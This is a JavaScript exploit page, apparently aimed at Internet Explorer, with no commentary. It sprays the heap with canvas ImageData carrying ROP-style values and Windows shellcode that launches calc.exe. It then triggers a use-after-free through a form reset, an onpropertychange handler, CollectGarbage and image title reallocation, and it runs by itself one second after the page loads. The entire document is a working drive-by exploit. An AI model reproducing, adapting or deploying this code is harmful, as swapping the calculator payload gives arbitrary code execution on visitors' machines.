function H5() {
    this.d = [];
    this.m = new Array();
    this.f = new Array()
}

H5.prototype.flatten = function () {
    for (var f = 0; f < this.d.length; f++) {
        var n = this.d[f];
        
        if (typeof (n) == 'number') {
            var c = n.toString(16);
            
            while (c.length < 8) {
                c = '0' + c
            }
            
            var l = function (a) {
                return (parseInt(c.substr(a, 2), 16))
            };
            
            var g = l(6),
            h = l(4),
            k = l(2),
            m = l(0);
            this.f.push(g);
            this.f.push(h);
            this.f.push(k);
            this.f.push(m)
        }
        
        if (typeof (n) == 'string') {
            for (var d = 0; d < n.length; d++) {
                this.f.push(n.charCodeAt(d))
            }
        }
    }
};

H5.prototype.fill = function (a) {
    for (var c = 0, b = 0; c < a.data.length; c++, b++) {
        if (b >= 8192) {
            b = 0
        }
        
        a.data[c] = (b < this.f.length) ? this.f[b] : 255;
    }
};

H5.prototype.spray = function (d) {
    this.flatten();
    
    for (var b = 0; b < d; b++) {
        var c = document.createElement('canvas');
        c.width = 131072;
        c.height = 1;
        var a = c.getContext('2d').createImageData(c.width, c.height);
        this.fill(a);
        this.m[b] = a;
    }
};

H5.prototype.setData = function (a) {
    this.d = a;
};

var flag = false;
var heap = new H5();

try {
    location.href = 'ms-help:'
} catch (e) {}

function spray() {
    var a = '\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00';
    var c = [];
    
    for (var b = 0; b < 1104; b += 4) {
        c.push(1371756628);
    }
    
    c.push(1371756627);
    c.push(1371351263);
    
    var f = [
        1371756626,
        215,
        2147353344,
        1371367674,
        202122408,
        4294967295,
        202122400,
        202122404,
        64,
        202116108,
        202121248,
        16384
    ];
    
    var d = c.concat(f);
    d.push(a);
    heap.setData(d);
    heap.spray(256);
}

function changer() {
    var c = new Array();
    
    for (var a = 0; a < 100; a++) {
        c.push(document.createElement('img'));
    }
    
    if (flag) {
        document.getElementById('fm').innerHTML = '';
        CollectGarbage();
        var b = '\u2020\u0c0c';
        
        for (var a = 4; a < 110; a += 2) {
            b += '\u4242';
        }
        
        for (var a = 0; a < c.length; a++) {
            c[a].title = b;
        }
    }
}

function run() {
    spray();
    document.getElementById('c2').checked = true;
    document.getElementById('c2').onpropertychange = changer;
    flag = true;
    document.getElementById('fm').reset();
}

setTimeout(run, 1000);